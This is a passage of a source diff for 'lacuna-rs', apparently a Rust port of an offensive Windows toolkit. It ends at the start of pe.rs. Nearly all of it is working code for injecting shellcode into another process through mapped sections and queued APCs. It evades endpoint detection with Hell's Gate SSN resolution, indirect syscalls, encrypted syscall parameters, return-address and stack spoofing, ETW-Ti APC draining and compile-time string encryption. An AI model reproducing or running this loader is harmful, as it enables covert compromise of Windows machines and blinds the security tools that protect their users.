map_view: stubs[2].take()?,
|
||||
unmap_view: stubs[3].take()?,
|
||||
open_thr: stubs[4].take()?,
|
||||
queue_apc: stubs[5].take()?,
|
||||
alert_thr: stubs[6].take()?,
|
||||
nt_close: stubs[7].take()?,
|
||||
prot_vm: stubs[8].take()?,
|
||||
srs,
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
fn trim_cstr(s: &[u8]) -> &[u8] {
|
||||
let n = s.iter().position(|&b| b == 0).unwrap_or(s.len());
|
||||
&s[..n]
|
||||
}
|
||||
|
||||
pub const PKEY: u64 = 0xCAFE_1337;
|
||||
|
||||
#[inline]
|
||||
fn ep(p: *mut ()) -> *mut () {
|
||||
#[cfg(feature = "veh")]
|
||||
{ (p as usize ^ PKEY as usize) as *mut () }
|
||||
#[cfg(not(feature = "veh"))]
|
||||
{ p }
|
||||
}
|
||||
|
||||
#[inline]
|
||||
fn ep_u32(v: u32) -> u32 {
|
||||
#[cfg(feature = "veh")]
|
||||
{ v ^ PKEY as u32 }
|
||||
#[cfg(not(feature = "veh"))]
|
||||
{ v }
|
||||
}
|
||||
|
||||
#[inline]
|
||||
fn ep_handle(h: HANDLE) -> HANDLE {
|
||||
#[cfg(feature = "veh")]
|
||||
{ (h as usize ^ PKEY as usize) as HANDLE }
|
||||
#[cfg(not(feature = "veh"))]
|
||||
{ h }
|
||||
}
|
||||
|
||||
#[inline]
|
||||
fn ep_usize(v: usize) -> usize {
|
||||
#[cfg(feature = "veh")]
|
||||
{ v ^ PKEY as usize }
|
||||
#[cfg(not(feature = "veh"))]
|
||||
{ v }
|
||||
}
|
||||
|
||||
// ── Thread scoring algorithm (ported from main.c: FindActiveApcThreads) ───────
|
||||
|
||||
/// A thread candidate with its activity score.
|
||||
struct ThreadCandidate {
|
||||
tid: u32,
|
||||
score: i64,
|
||||
cycles: u64,
|
||||
cpu_time: u64,
|
||||
priority: i32,
|
||||
suspend_count: u32,
|
||||
}
|
||||
|
||||
/// Resolve NtQueryInformationThread from ntdll at runtime.
|
||||
fn resolve_nt_query_info_thread(ntdll: HMODULE) -> Option<PNtQueryInformationThread> {
|
||||
let p = win::get_proc(ntdll, b"NtQueryInformationThread\0")?;
|
||||
unsafe { Some(core::mem::transmute(p)) }
|
||||
}
|
||||
|
||||
/// Query thread suspend count via NtQueryInformationThread.
|
||||
fn query_suspend_count(nqit: PNtQueryInformationThread, h: HANDLE) -> u32 {
|
||||
let mut sc: u32 = 999;
|
||||
let status = unsafe {
|
||||
nqit(h, ThreadSuspendCount, &mut sc as *mut _ as PVOID,
|
||||
core::mem::size_of::<u32>() as u32, ptr::null_mut())
|
||||
};
|
||||
if nt_ok(status) { sc } else { 999 }
|
||||
}
|
||||
|
||||
/// Query thread kernel+user time via NtQueryInformationThread.
|
||||
fn query_cpu_time(nqit: PNtQueryInformationThread, h: HANDLE) -> u64 {
|
||||
let mut times: KERNEL_USER_TIMES = unsafe { core::mem::zeroed() };
|
||||
let status = unsafe {
|
||||
nqit(h, ThreadTimes, &mut times as *mut _ as PVOID,
|
||||
core::mem::size_of::<KERNEL_USER_TIMES>() as u32, ptr::null_mut())
|
||||
};
|
||||
if nt_ok(status) { times.UserTime + times.KernelTime } else { 0 }
|
||||
}
|
||||
|
||||
/// Query thread cycle time via NtQueryInformationThread.
|
||||
fn query_cycles(nqit: PNtQueryInformationThread, h: HANDLE) -> u64 {
|
||||
let mut ci: THREAD_CYCLE_TIME_INFORMATION = unsafe { core::mem::zeroed() };
|
||||
let status = unsafe {
|
||||
nqit(h, ThreadCycleTime, &mut ci as *mut _ as PVOID,
|
||||
core::mem::size_of::<THREAD_CYCLE_TIME_INFORMATION>() as u32, ptr::null_mut())
|
||||
};
|
||||
if nt_ok(status) { ci.AccumulatedCycles } else { 0 }
|
||||
}
|
||||
|
||||
/// Query thread priority via NtQueryInformationThread.
|
||||
fn query_priority(nqit: PNtQueryInformationThread, h: HANDLE) -> i32 {
|
||||
let mut bi: THREAD_BASIC_INFORMATION = unsafe { core::mem::zeroed() };
|
||||
let status = unsafe {
|
||||
nqit(h, ThreadBasicInformation, &mut bi as *mut _ as PVOID,
|
||||
core::mem::size_of::<THREAD_BASIC_INFORMATION>() as u32, ptr::null_mut())
|
||||
};
|
||||
if nt_ok(status) { bi.Priority } else { 9 }
|
||||
}
|
||||
|
||||
/// Score a thread based on activity, suspend state, and priority.
|
||||
fn score_thread(cycles: u64, cpu_time: u64, suspend_count: u32, priority: i32) -> i64 {
|
||||
let mut score: i64 = 0;
|
||||
// Activity (primary factor)
|
||||
score += (cycles as i64) / 1_000_000;
|
||||
score += (cpu_time as i64) / 100_000;
|
||||
// Bonuses for active threads
|
||||
if suspend_count == 0 { score += 300; }
|
||||
if priority >= 8 && priority <= 10 { score += 150; }
|
||||
if cycles > 5_000_000 { score += 100; }
|
||||
// Penalties for problematic threads
|
||||
if suspend_count > 0 { score -= 150 * suspend_count as i64; }
|
||||
if priority < 1 || priority > 15 { score -= 100; }
|
||||
score
|
||||
}
|
||||
|
||||
/// Scan all threads in a process, score them, and return the top-N candidates.
|
||||
///
|
||||
/// Ported from main.c: FindActiveApcThreads().
|
||||
fn find_active_apc_threads(pid: u32, max_candidates: usize, ntdll: HMODULE) -> Vec<ThreadCandidate> {
|
||||
let nqit = match resolve_nt_query_info_thread(ntdll) {
|
||||
Some(f) => f,
|
||||
None => {
|
||||
eprintln!("{}", lc!("[-] NtQueryInformationThread not found"));
|
||||
return Vec::new();
|
||||
}
|
||||
};
|
||||
|
||||
let snap = unsafe { CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0) };
|
||||
if snap == INVALID_HANDLE_VALUE {
|
||||
eprintln!("{}", lc!("[-] thread snapshot failed"));
|
||||
return Vec::new();
|
||||
}
|
||||
|
||||
let mut te = THREADENTRY32 {
|
||||
dwSize: core::mem::size_of::<THREADENTRY32>() as u32,
|
||||
cntUsage: 0, th32ThreadID: 0, th32OwnerProcessID: 0,
|
||||
tpBasePri: 0, tpDeltaPri: 0, dwFlags: 0,
|
||||
};
|
||||
|
||||
let mut candidates: Vec<ThreadCandidate> = Vec::new();
|
||||
|
||||
let mut ok = unsafe { Thread32First(snap, &mut te) } != 0;
|
||||
while ok {
|
||||
if te.th32OwnerProcessID == pid {
|
||||
let tid = te.th32ThreadID;
|
||||
let h = unsafe {
|
||||
OpenThread(
|
||||
THREAD_QUERY_INFORMATION | THREAD_SET_CONTEXT,
|
||||
0,
|
||||
tid,
|
||||
)
|
||||
};
|
||||
if !h.is_null() {
|
||||
let sc = query_suspend_count(nqit, h);
|
||||
let cpu_time = query_cpu_time(nqit, h);
|
||||
let cycles = query_cycles(nqit, h);
|
||||
|
||||
// Skip completely idle threads
|
||||
if cycles == 0 && cpu_time == 0 {
|
||||
unsafe { CloseHandle(h) };
|
||||
ok = unsafe { Thread32Next(snap, &mut te) } != 0;
|
||||
continue;
|
||||
}
|
||||
|
||||
let priority = query_priority(nqit, h);
|
||||
let score = score_thread(cycles, cpu_time, sc, priority);
|
||||
|
||||
candidates.push(ThreadCandidate {
|
||||
tid, score, cycles, cpu_time, priority, suspend_count: sc,
|
||||
});
|
||||
|
||||
unsafe { CloseHandle(h) };
|
||||
}
|
||||
}
|
||||
ok = unsafe { Thread32Next(snap, &mut te) } != 0;
|
||||
}
|
||||
unsafe { CloseHandle(snap) };
|
||||
|
||||
// Sort: highest score first, tie-break on highest cycles
|
||||
candidates.sort_by(|a, b| {
|
||||
if a.score != b.score {
|
||||
b.score.cmp(&a.score)
|
||||
} else {
|
||||
b.cycles.cmp(&a.cycles)
|
||||
}
|
||||
});
|
||||
|
||||
// Truncate to max_candidates
|
||||
candidates.truncate(max_candidates);
|
||||
|
||||
for (i, c) in candidates.iter().enumerate() {
|
||||
eprintln!(
|
||||
"{}{}: {} {} ({} {}, {} {}, {} {}, {} {}, {} {})",
|
||||
lc!("[+] Candidate "), i + 1,
|
||||
lc!("TID "), c.tid,
|
||||
lc!("Score: "), c.score,
|
||||
lc!("Cycles: "), c.cycles,
|
||||
lc!("CPU: "), c.cpu_time,
|
||||
lc!("Pri: "), c.priority,
|
||||
lc!("Suspend: "), c.suspend_count,
|
||||
);
|
||||
}
|
||||
|
||||
candidates
|
||||
}
|
||||
|
||||
// ── Main injection function ───────────────────────────────────────────────────
|
||||
|
||||
/// Inject shellcode via section-based APC.
|
||||
///
|
||||
/// Set `verbose = true` to enable VEH diagnostic output.
|
||||
pub fn inject_sapc(pid: u32, shellcode: &[u8]) -> Result<(), NTSTATUS> {
|
||||
inject_sapc_verbose(pid, shellcode, false)
|
||||
}
|
||||
|
||||
/// Inject shellcode via section-based APC with verbose flag.
|
||||
pub fn inject_sapc_verbose(pid: u32, shellcode: &[u8], verbose: bool) -> Result<(), NTSTATUS> {
|
||||
let ntdll = get_module(b"ntdll.dll\0");
|
||||
let ntdll_base = ntdll as ULONG64;
|
||||
|
||||
#[cfg(feature = "veh")]
|
||||
{
|
||||
crate::veh::set_verbose(verbose);
|
||||
let self_mod = unsafe { win::GetModuleHandleA(core::ptr::null()) };
|
||||
if !self_mod.is_null() {
|
||||
let base = self_mod as ULONG64;
|
||||
let end = base + pe::size_of_image(self_mod);
|
||||
crate::veh::G_EXE_BASE.store(base, Ordering::Relaxed);
|
||||
crate::veh::G_EXE_END.store(end, Ordering::Relaxed);
|
||||
if verbose {
|
||||
eprintln!("{}{:016x}-{:016x}", lc!("[*] exe range for stack spoof: "), base, end);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
let sc = Syscalls::resolve(ntdll).ok_or(0xC000_0001u32 as i32)?;
|
||||
|
||||
let ret_gadget = if sc.srs[7] != 0 { sc.srs[7] + 2 } else { 0 };
|
||||
#[cfg(feature = "veh")]
|
||||
{
|
||||
crate::veh::G_RET_GADGET.store(ret_gadget, Ordering::Relaxed);
|
||||
if ret_gadget != 0 && verbose {
|
||||
eprintln!("{}{:x}", lc!("[*] ret gadget for stack spoof: ntdll+"), ret_gadget - ntdll_base);
|
||||
}
|
||||
}
|
||||
|
||||
#[cfg(feature = "veh")]
|
||||
let _pcrypt_guard = crate::veh::PcryptVehGuard::register();
|
||||
|
||||
// -- NtOpenProcess --
|
||||
let mut h_proc: HANDLE = ptr::null_mut();
|
||||
let mut oa = OBJECT_ATTRIBUTES::default();
|
||||
let cid = CID { UniqueProcess: pid as HANDLE, UniqueThread: ptr::null_mut() };
|
||||
|
||||
#[cfg(feature = "veh")]
|
||||
crate::veh::pcrypt_arm(PKEY, sc.srs[0], true);
|
||||
|
||||
eprintln!("{}", lc!("[*] calling NtOpenProcess..."));
|
||||
|
||||
let open_proc: PNtOpenProcess = unsafe { core::mem::transmute(sc.open_proc.as_fn()) };
|
||||
let status = unsafe {
|
||||
open_proc(
|
||||
ep(&mut h_proc as *mut _ as *mut _) as win::PHANDLE,
|
||||
ep_u32(PROCESS_VM_OPERATION | PROCESS_QUERY_INFORMATION),
|
||||
ep(&mut oa as *mut _ as *mut _) as *mut OBJECT_ATTRIBUTES,
|
||||
ep(&cid as *const _ as *mut _) as *mut CLIENT_ID,
|
||||
)
|
||||
};
|
||||
if !nt_ok(status) {
|
||||
eprintln!("{}{:08x}", lc!("[-] NtOpenProcess: "), status);
|
||||
return Err(status);
|
||||
}
|
||||
eprintln!("{}{:p}{}{}", lc!("[+] proc "), h_proc, lc!(" pid "), pid);
|
||||
|
||||
#[cfg(feature = "veh")]
|
||||
let _chain_guard = crate::veh::ChainVehGuard::register();
|
||||
|
||||
// -- stomp_plant --
|
||||
#[cfg(feature = "stack-spoof")]
|
||||
{
|
||||
#[cfg(feature = "veh")]
|
||||
crate::veh::pcrypt_disarm();
|
||||
|
||||
eprintln!("{}", lc!("[*] calling stomp_plant..."));
|
||||
crate::chain::stomp_plant();
|
||||
eprintln!("{}", lc!("[*] stomp_plant done"));
|
||||
}
|
||||
|
||||
// -- NtCreateSection --
|
||||
let mut h_sec: HANDLE = ptr::null_mut();
|
||||
let mut sec_sz: LARGE_INTEGER = shellcode.len() as i64;
|
||||
|
||||
#[cfg(feature = "veh")]
|
||||
{
|
||||
if verbose {
|
||||
eprintln!("{}{:x}", lc!("[*] arming pcrypt for NtCreateSection (srs[1]="), sc.srs[1]);
|
||||
}
|
||||
crate::veh::pcrypt_arm(PKEY, sc.srs[1], true);
|
||||
}
|
||||
|
||||
eprintln!("{}", lc!("[*] calling NtCreateSection..."));
|
||||
|
||||
let mk_sec: PNtCreateSection = unsafe { core::mem::transmute(sc.mk_sec.as_fn()) };
|
||||
let status = unsafe {
|
||||
mk_sec(
|
||||
ep(&mut h_sec as *mut _ as *mut _) as win::PHANDLE,
|
||||
ep_u32(SECTION_ALL_ACCESS),
|
||||
ep(ptr::null_mut()) as *mut OBJECT_ATTRIBUTES,
|
||||
ep(&mut sec_sz as *mut _ as *mut _) as *mut LARGE_INTEGER,
|
||||
PAGE_EXECUTE_READWRITE, SEC_COMMIT, ptr::null_mut(),
|
||||
)
|
||||
};
|
||||
if !nt_ok(status) {
|
||||
eprintln!("{}{:08x}", lc!("[-] NtCreateSection: "), status);
|
||||
unsafe { close_handle(&sc, h_proc) };
|
||||
return Err(status);
|
||||
}
|
||||
eprintln!("{}{:p}", lc!("[+] section "), h_sec);
|
||||
|
||||
// -- NtMapViewOfSection (local, RW) --
|
||||
let mut local_base: PVOID = ptr::null_mut();
|
||||
let mut local_sz: SIZE_T = 0;
|
||||
let map_view: PNtMapViewOfSection = unsafe { core::mem::transmute(sc.map_view.as_fn()) };
|
||||
|
||||
#[cfg(feature = "veh")]
|
||||
crate::veh::pcrypt_arm(0, sc.srs[2], false);
|
||||
|
||||
let status = unsafe {
|
||||
map_view(h_sec, win::CURRENT_PROCESS, &mut local_base, 0, shellcode.len(),
|
||||
ptr::null_mut(), &mut local_sz, ViewUnmap, 0, PAGE_READWRITE)
|
||||
};
|
||||
if !nt_ok(status) {
|
||||
eprintln!("{}{:08x}", lc!("[-] NtMapViewOfSection(local): "), status);
|
||||
unsafe { close_handle(&sc, h_sec) };
|
||||
unsafe { close_handle(&sc, h_proc) };
|
||||
return Err(status);
|
||||
}
|
||||
eprintln!("{}{:p}", lc!("[+] local rw "), local_base);
|
||||
|
||||
// Write shellcode (double-XOR)
|
||||
unsafe {
|
||||
let dst = local_base as *mut u8;
|
||||
for i in 0..shellcode.len() { *dst.add(i) = shellcode[i] ^ 0x5A; }
|
||||
for i in 0..shellcode.len() { *dst.add(i) ^= 0x5A; }
|
||||
}
|
||||
eprintln!("{}{}{}", lc!("[+] shellcode written ("), shellcode.len(), lc!(" bytes)"));
|
||||
|
||||
// -- NtMapViewOfSection (remote, RX) --
|
||||
let mut remote_base: PVOID = ptr::null_mut();
|
||||
let mut remote_sz: SIZE_T = 0;
|
||||
|
||||
#[cfg(feature = "veh")]
|
||||
crate::veh::pcrypt_arm(PKEY, sc.srs[2], false);
|
||||
|
||||
let status = unsafe {
|
||||
map_view(
|
||||
ep_handle(h_sec), ep_handle(h_proc),
|
||||
ep(&mut remote_base as *mut _ as *mut _) as *mut PVOID,
|
||||
ep_usize(0), shellcode.len(), ptr::null_mut(), &mut remote_sz,
|
||||
ViewUnmap, 0, PAGE_EXECUTE_READ,
|
||||
)
|
||||
};
|
||||
if !nt_ok(status) {
|
||||
eprintln!("{}{:08x}", lc!("[-] NtMapViewOfSection(remote): "), status);
|
||||
unsafe { close_handle(&sc, h_sec) };
|
||||
unsafe { close_handle(&sc, h_proc) };
|
||||
return Err(status);
|
||||
}
|
||||
eprintln!("{}{:p}", lc!("[+] remote rx "), remote_base);
|
||||
|
||||
// -- Unmap local + close section --
|
||||
let unmap_view: PNtUnmapViewOfSection = unsafe { core::mem::transmute(sc.unmap_view.as_fn()) };
|
||||
|
||||
#[cfg(feature = "veh")]
|
||||
crate::veh::pcrypt_arm(0, sc.srs[3], true);
|
||||
|
||||
eprintln!("{}{:p}", lc!("[*] unmapping local view (base="), local_base);
|
||||
let unmap_status = unsafe { unmap_view(win::CURRENT_PROCESS, local_base) };
|
||||
if verbose {
|
||||
eprintln!("{}{:08x}", lc!("[*] unmap returned "), unmap_status);
|
||||
}
|
||||
|
||||
eprintln!("{}", lc!("[*] closing section..."));
|
||||
unsafe { close_handle(&sc, h_sec) };
|
||||
|
||||
// -- Select best threads for APC (scored, top-N) --
|
||||
eprintln!("{}", lc!("[*] scanning threads for APC candidates..."));
|
||||
let candidates = find_active_apc_threads(pid, MAX_APC_THREADS, ntdll);
|
||||
|
||||
if candidates.is_empty() {
|
||||
eprintln!("{}", lc!("[-] no suitable thread candidates found"));
|
||||
unsafe { close_handle(&sc, h_proc) };
|
||||
return Err(0xC000_0022u32 as i32);
|
||||
}
|
||||
|
||||
eprintln!("{}{}{}", lc!("[+] found "), candidates.len(), lc!(" candidate thread(s)"));
|
||||
|
||||
let open_thr: PNtOpenThread = unsafe { core::mem::transmute(sc.open_thr.as_fn()) };
|
||||
let queue_apc: PNtQueueApcThread = unsafe { core::mem::transmute(sc.queue_apc.as_fn()) };
|
||||
let alert_thr: PNtAlertThread = unsafe { core::mem::transmute(sc.alert_thr.as_fn()) };
|
||||
|
||||
let mut queued = 0;
|
||||
for c in &candidates {
|
||||
let tcid = CID { UniqueProcess: pid as HANDLE, UniqueThread: c.tid as HANDLE };
|
||||
let mut toa = OBJECT_ATTRIBUTES::default();
|
||||
let mut ht: HANDLE = ptr::null_mut();
|
||||
|
||||
#[cfg(feature = "veh")]
|
||||
crate::veh::pcrypt_arm(0, sc.srs[4], true);
|
||||
|
||||
let ts = unsafe {
|
||||
open_thr(&mut ht as *mut _ as win::PHANDLE,
|
||||
THREAD_SET_CONTEXT | THREAD_ALERT,
|
||||
&mut toa as *mut _ as *mut OBJECT_ATTRIBUTES,
|
||||
&tcid as *const _ as *mut CLIENT_ID)
|
||||
};
|
||||
if nt_ok(ts) {
|
||||
#[cfg(feature = "veh")]
|
||||
crate::veh::pcrypt_arm(0, sc.srs[5], true);
|
||||
|
||||
let ts = unsafe { queue_apc(ht, remote_base, remote_base, ptr::null_mut(), ptr::null_mut()) };
|
||||
if nt_ok(ts) {
|
||||
eprintln!("{}{}", lc!("[+] apc tid "), c.tid);
|
||||
#[cfg(feature = "veh")]
|
||||
crate::veh::pcrypt_arm(0, sc.srs[6], true);
|
||||
let _ = unsafe { alert_thr(ht) };
|
||||
queued += 1;
|
||||
}
|
||||
unsafe { close_handle(&sc, ht) };
|
||||
}
|
||||
}
|
||||
|
||||
if queued == 0 {
|
||||
eprintln!("{}", lc!("[-] no threads took the APC"));
|
||||
unsafe { close_handle(&sc, h_proc) };
|
||||
return Err(0xC000_0022u32 as i32);
|
||||
}
|
||||
eprintln!("{}{}{}", lc!("[+] queued to "), queued, lc!(" thread(s)"));
|
||||
|
||||
// -- Drain ETW-Ti APCs --
|
||||
#[cfg(feature = "stack-spoof")]
|
||||
{
|
||||
#[cfg(feature = "veh")]
|
||||
crate::veh::pcrypt_disarm();
|
||||
|
||||
eprintln!("{}", lc!("[*] entering alertable wait to drain APCs..."));
|
||||
let mut drain: LARGE_INTEGER = -100_000;
|
||||
unsafe { NtDelayExecution(1, &mut drain) };
|
||||
eprintln!("{}", lc!("[*] APC drain complete, restoring stack..."));
|
||||
crate::chain::stomp_restore();
|
||||
}
|
||||
|
||||
#[cfg(feature = "veh")]
|
||||
crate::veh::pcrypt_disarm();
|
||||
|
||||
unsafe { close_handle(&sc, h_proc) };
|
||||
Ok(())
|
||||
}
|
||||
|
||||
#[inline]
|
||||
unsafe fn close_handle(sc: &Syscalls, h: HANDLE) {
|
||||
let nt_close: PNtClose = core::mem::transmute(sc.nt_close.as_fn());
|
||||
let _ = nt_close(h);
|
||||
}
|
||||
+177
@@ -0,0 +1,177 @@
|
||||
//
|
||||
// lib.rs — lacuna-rs crate root
|
||||
//
|
||||
// LACUNA Chain ported to a reusable Rust crate.
|
||||
//
|
||||
// This crate provides the same primitives as the original `lacuna_chain.c`:
|
||||
//
|
||||
// * PE parsing (section lookup, export resolution)
|
||||
// * .pdata ghost-region scanning (executable code with no
|
||||
// RUNTIME_FUNCTION coverage)
|
||||
// * SSN resolution + per-function `syscall;ret` targeting
|
||||
// * JIT indirect-syscall stub emission (with optional ghost-gadget
|
||||
// redirect)
|
||||
// * LACUNA ghost-frame chain construction + stack stomp
|
||||
// * Vectored exception handlers for parameter encryption and
|
||||
// return-address spoofing
|
||||
// * Section-based APC injection (NtCreateSection + MapView×2)
|
||||
//
|
||||
// ## Feature flags
|
||||
//
|
||||
// * `inject` — enable `inject::inject_sapc`.
|
||||
// * `stack-spoof`— enable `chain` module (ghost-frame chain + stomp).
|
||||
// Requires frame pointers; see `build.rs`.
|
||||
// * `veh` — enable `veh` module (hardware-breakpoint parameter
|
||||
// encryption + return-address spoofing).
|
||||
//
|
||||
// When no features are enabled, only the scanning/PE/NT layers are
|
||||
// available — useful for reconnaissance without pulling in the
|
||||
// offensive primitives.
|
||||
//
|
||||
|
||||
#![allow(dead_code)]
|
||||
#![allow(non_snake_case)]
|
||||
#![allow(non_upper_case_globals)]
|
||||
|
||||
// ── litcrypt2 string obfuscation ─────────────────────────────────────────────
|
||||
// Encrypts string literals at compile time; they are decrypted at runtime
|
||||
// inside the `lc!()` macro. The encryption key is read from the
|
||||
// `LITCRYPT_ENCRYPT_KEY` environment variable; if unset, litcrypt2
|
||||
// auto-generates a random key at compile time.
|
||||
#[macro_use]
|
||||
extern crate litcrypt2;
|
||||
// litcrypt2's `use_litcrypt!()` macro expands to code that references
|
||||
// `alloc::vec::Vec` and `alloc::string::String`, so we link the `alloc`
|
||||
// crate explicitly.
|
||||
extern crate alloc;
|
||||
use_litcrypt!();
|
||||
|
||||
// ── Module wiring ────────────────────────────────────────────────────────────
|
||||
|
||||
pub mod win;
|
||||
pub mod pe;
|
||||
pub mod scan;
|
||||
pub mod nt;
|
||||
pub mod stub;
|
||||
|
||||
#[cfg(feature = "veh")]
|
||||
pub mod veh;
|
||||
|
||||
#[cfg(feature = "stack-spoof")]
|
||||
pub mod chain;
|
||||
|
||||
#[cfg(feature = "inject")]
|
||||
pub mod inject;
|
||||
|
||||
// ── Crate-level re-exports ───────────────────────────────────────────────────
|
||||
|
||||
pub use win::nt_ok;
|
||||
|
||||
// ── Version ──────────────────────────────────────────────────────────────────
|
||||
|
||||
pub const VERSION: &str = env!("CARGO_PKG_VERSION");
|
||||
|
||||
// ── Convenience: one-shot scan ───────────────────────────────────────────────
|
||||
|
||||
/// Scan all four target modules (ntdll, kernelbase, wow64, win32u) for
|
||||
/// ghost regions and gadgets, returning a summary.
|
||||
///
|
||||
/// This is the Rust analogue of the C `do_scan()` function.
|
||||
pub fn scan_all() -> ScanSummary {
|
||||
let modules: &[(&[u8], &[&[u8]])] = &[
|
||||
(
|
||||
b"ntdll.dll\0",
|
||||
&[
|
||||
b"NtAllocateVirtualMemory\0",
|
||||
b"NtCreateThreadEx\0",
|
||||
b"RtlCreateUserThread\0",
|
||||
b"LdrLoadDll\0",
|
||||
b"RtlUserThreadStart\0",
|
||||
],
|
||||
),
|
||||
(
|
||||
b"kernelbase.dll\0",
|
||||
&[
|
||||
b"VirtualProtect\0",
|
||||
b"VirtualAllocEx\0",
|
||||
b"WriteProcessMemory\0",
|
||||
b"CreateRemoteThreadEx\0",
|
||||
],
|
||||
),
|
||||
(
|
||||
b"wow64.dll\0",
|
||||
&[
|
||||
b"Wow64PrepareForException\0",
|
||||
b"Wow64KiUserCallbackDispatcher\0",
|
||||
b"Wow64ApcRoutine\0",
|
||||
],
|
||||
),
|
||||
(
|
||||
b"win32u.dll\0",
|
||||
&[
|
||||
b"NtGdiDdDDICreateDevice\0",
|
||||
b"NtUserCallNoParam\0",
|
||||
],
|
||||
),
|
||||
];
|
||||
|
||||
let mut summary = ScanSummary::default();
|
||||
|
||||
for &(mod_name, targets) in modules {
|
||||
let m = win::get_module(mod_name);
|
||||
if m.is_null() {
|
||||
continue;
|
||||
}
|
||||
let mut buf = [scan::Ghost {
|
||||
va_start: 0,
|
||||
va_end: 0,
|
||||
size: 0,
|
||||
export_va: 0,
|
||||
dist: 0,
|
||||
name: [0; 64],
|
||||
}; 512];
|
||||
let n = scan::scan_ghosts(m, targets, &mut buf);
|
||||
|
||||
let mut gg = [scan::GhostGadget { va: 0, parent: [0; 64] }; 32];
|
||||
let ngg = scan::scan_ghost_gadgets(&buf[..n], mod_name, &mut gg);
|
||||
|
||||
summary.modules.push(ScanModule {
|
||||
name: trim_cstr(mod_name).to_string(),
|
||||
ghost_count: n,
|
||||
gadget_count: ngg,
|
||||
first_ghost: if n > 0 {
|
||||
Some((buf[0].va_start, buf[0].va_end, buf[0].size))
|
||||
} else {
|
||||
None
|
||||
},
|
||||
win32u_nop_gap: if mod_name.starts_with(b"win32u") {
|
||||
scan::win32u_nop_gap(m)
|
||||
} else {
|
||||
0
|
||||
},
|
||||
});
|
||||
}
|
||||
|
||||
summary
|
||||
}
|
||||
|
||||
/// Trim a NUL-terminated byte slice to the bytes before the first NUL.
|
||||
fn trim_cstr(s: &[u8]) -> &str {
|
||||
let n = s.iter().position(|&b| b == 0).unwrap_or(s.len());
|
||||
core::str::from_utf8(&s[..n]).unwrap_or("?")
|
||||
}
|
||||
|
||||
// ── Scan summary types ───────────────────────────────────────────────────────
|
||||
|
||||
#[derive(Default)]
|
||||
pub struct ScanSummary {
|
||||
pub modules: Vec<ScanModule>,
|
||||
}
|
||||
|
||||
pub struct ScanModule {
|
||||
pub name: String,
|
||||
pub ghost_count: usize,
|
||||
pub gadget_count: usize,
|
||||
pub first_ghost: Option<(u64, u64, u32)>,
|
||||
pub win32u_nop_gap: u64,
|
||||
}
|
||||
@@ -0,0 +1,90 @@
|
||||
//
|
||||
// nt.rs — SSN resolution and syscall;ret gadget location for lacuna-rs
|
||||
//
|
||||
// Ported from lacuna_chain.c:
|
||||
// resolve_ssn(), find_func_syscall().
|
||||
//
|
||||
// This is the "better syscalls-rs" layer: instead of a build-script-generated
|
||||
// SSN table that goes stale across Windows builds, we read the SSN straight
|
||||
// out of ntdll's stub at runtime, and we target the *function's own*
|
||||
// `syscall; ret` instruction so RIP is inside ntdll at kernel entry —
|
||||
// defeating the EDR "SSN mismatch" heuristic that fixed-table indirect
|
||||
// syscall crates can trip.
|
||||
//
|
||||
|
||||
#![allow(dead_code)]
|
||||
|
||||
use crate::pe;
|
||||
use crate::win::{HMODULE, ULONG64, DWORD};
|
||||
|
||||
/// Sentinel returned when SSN resolution fails.
|
||||
pub const SSN_INVALID: DWORD = 0xFFFF_FFFF;
|
||||
|
||||
/// Read the SSN from an ntdll syscall stub.
|
||||
///
|
||||
/// A clean (unhooked) stub looks like:
|
||||
/// 4C 8B D1 mov r10, rcx
|
||||
/// B8 xx xx 00 00 mov eax, <SSN>
|
||||
/// ...
|
||||
///
|
||||
/// If the stub is hooked (the `mov r10, rcx` / `mov eax, imm32` prologue is
|
||||
/// missing), we scan ±10 adjacent stubs (32 bytes apart) and adjust the SSN
|
||||
/// by the stub offset — the classic Hell's Gate / Halo's Gate technique.
|
||||
///
|
||||
/// Ported from resolve_ssn().
|
||||
pub fn resolve_ssn(ntdll: HMODULE, fn_name: &[u8]) -> DWORD {
|
||||
let p = pe::export_va(ntdll, fn_name) as *const u8;
|
||||
if p.is_null() {
|
||||
return SSN_INVALID;
|
||||
}
|
||||
unsafe {
|
||||
// Clean stub? SSN is the imm32 at offset +4 (after 4C 8B D1 B8).
|
||||
if *p == 0x4C && *p.add(1) == 0x8B && *p.add(2) == 0xD1 && *p.add(3) == 0xB8 {
|
||||
return *(p.add(4) as *const DWORD);
|
||||
}
|
||||
// Hooked — scan neighbours.
|
||||
for d in 1..=10usize {
|
||||
// p - d*32
|
||||
let u = p.offset((d * 32) as isize * -1);
|
||||
if *u == 0x4C && *u.add(1) == 0x8B && *u.add(2) == 0xD1 && *u.add(3) == 0xB8 {
|
||||
return *(u.add(4) as *const DWORD) + d as DWORD;
|
||||
}
|
||||
// p + d*32
|
||||
let dn = p.add(d * 32);
|
||||
if *dn == 0x4C && *dn.add(1) == 0x8B && *dn.add(2) == 0xD1 && *dn.add(3) == 0xB8 {
|
||||
return *(dn.add(4) as *const DWORD) - d as DWORD;
|
||||
}
|
||||
}
|
||||
}
|
||||
SSN_INVALID
|
||||
}
|
||||
|
||||
/// Find the `syscall; ret` (`0F 05 C3`) sequence inside a specific ntdll
|
||||
/// function. Returns the absolute VA, or 0 if not found within 32 bytes
|
||||
/// of the function start.
|
||||
///
|
||||
/// Per-function targeting: RIP lands at the function's OWN syscall
|
||||
/// instruction, so the SSN matches the function name — no EDR mismatch
|
||||
/// heuristic can fire.
|
||||
///
|
||||
/// Ported from find_func_syscall().
|
||||
pub fn find_func_syscall(ntdll: HMODULE, fn_name: &[u8]) -> ULONG64 {
|
||||
let p = pe::export_va(ntdll, fn_name) as *const u8;
|
||||
if p.is_null() {
|
||||
return 0;
|
||||
}
|
||||
unsafe {
|
||||
for i in 0..32 {
|
||||
if *p.add(i) == 0x0F && *p.add(i + 1) == 0x05 && *p.add(i + 2) == 0xC3 {
|
||||
return p.add(i) as ULONG64;
|
||||
}
|
||||
}
|
||||
}
|
||||
0
|
||||
}
|
||||
|
||||
/// Resolve both the SSN and the function's own `syscall; ret` VA in one
|
||||
/// call — the pair needed by `stub::make_stub()`.
|
||||
pub fn resolve(ntdll: HMODULE, fn_name: &[u8]) -> (DWORD, ULONG64) {
|
||||
(resolve_ssn(ntdll, fn_name), find_func_syscall(ntdll, fn_name))
|
||||
}
|
||||
@@ -0,0 +1,275 @@
|
||||
//
|
||||
// pe.rs — PE parsing helpers for lacuna-rs
|
||||
//
|
||||
